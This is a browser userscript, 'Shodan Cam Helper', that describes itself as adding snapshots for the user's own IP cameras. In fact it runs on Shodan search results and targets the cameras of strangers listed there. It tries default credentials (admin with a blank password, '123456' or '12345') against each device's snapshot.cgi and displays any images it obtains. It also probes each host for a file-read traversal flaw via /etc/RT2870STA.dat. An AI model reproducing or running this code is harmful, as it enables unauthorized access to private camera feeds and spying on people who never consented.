☰

Shodan Cam Helper

Adds snapshots for your IP cameras

// ==UserScript==
// @name         Shodan Cam Helper
// @namespace    http://ebaumsworld.com/
// @version      0.1
// @description  Adds snapshots for your IP cameras
// @author       joe
// @match        https://www.shodan.io/search?query*
// @grant        GM_xmlhttpRequest
// ==/UserScript==
 
var ENABLED_LOGGABLE_VIDEOSTREAM = false;
var ENABLED_SNAPSHOT = true;
var ENABLED_TRAVERSAL = true;
var IPs = [];
var TIMEOUT_IN_MS = 2000;
 
addCredentials = function(type, username, password, url)
{
	if(type == 1)
	{ // add at http
		return url.replace("http://", "http://" + username + ":" + password + "@");
	}
	else
	{
		if(url.indexOf("?") > 0)
		{
			url += "&";
		}
		else
		{
			url += "?";
		}
		return url + "user=" + username + "&pwd=" + password;
	}
}


var shodanIPs = document.getElementsByClassName("ip");
var i = 0;
for(i = 0; i < shodanIPs.length; i++)
{
	var url = shodanIPs[i].getElementsByTagName("a")[0].href;
	var videostream =  addCredentials(1, "admin", "", url + "videostream.cgi");
	var snapshot = addCredentials(2, "admin", "", url + "snapshot.cgi");
	var snapshot2 = addCredentials(2, "admin", "123456", url + "snapshot.cgi");
	var snapshot3 = addCredentials(2, "admin", "12345", url + "snapshot.cgi");
    //var traversalCheck = url + "//etc/RT2870STA.dat";
   
	var addition = "<br />";
   
	if(ENABLED_LOGGABLE_VIDEOSTREAM)
	{
		addition += "Loggable: <img src=\"" + videostream + "\" /><br />";
	}
	if(ENABLED_SNAPSHOT)
	{
		addition += "<img onerror='this.style.display = \"none\"' src=\"" + snapshot + "\" /><br />";
		addition += "<img onerror='this.style.display = \"none\"' src=\"" + snapshot2 + "\" /><br />";
		addition += "<img onerror='this.style.display = \"none\"' src=\"" + snapshot3 + "\" /><br />";
	}
    if(ENABLED_TRAVERSAL)
    {
        addition += "<div class=\"" + url + "\"> </div>";
        IPs.unshift(url);
    }
   
	shodanIPs[i].innerHTML += addition;
}

function checkVulnerability()
{
    if(IPs.length > 0)
    {
        var currentIP = IPs.pop();
        GM_xmlhttpRequest({
            url: currentIP + "/etc/RT2870STA.dat",
            method: "GET",
            onload: function(response) {
                var text = "";
                if(response.status == "200")
                {
                    text = "<b><u>Vulnerable to //proc/kcore!</u></b>";
                }
                else
                {
                    text = "Not vulnerable?";
                }
                document.getElementsByClassName(currentIP)[0].innerHTML = text;
                checkVulnerability();
            },
            timeout: TIMEOUT_IN_MS,
            ontimeout: function() {
                var text = "Request timed out (Is site up?)";
                document.getElementsByClassName(currentIP)[0].innerHTML = text;
                checkVulnerability();  
            }
        });
    }
}

checkVulnerability();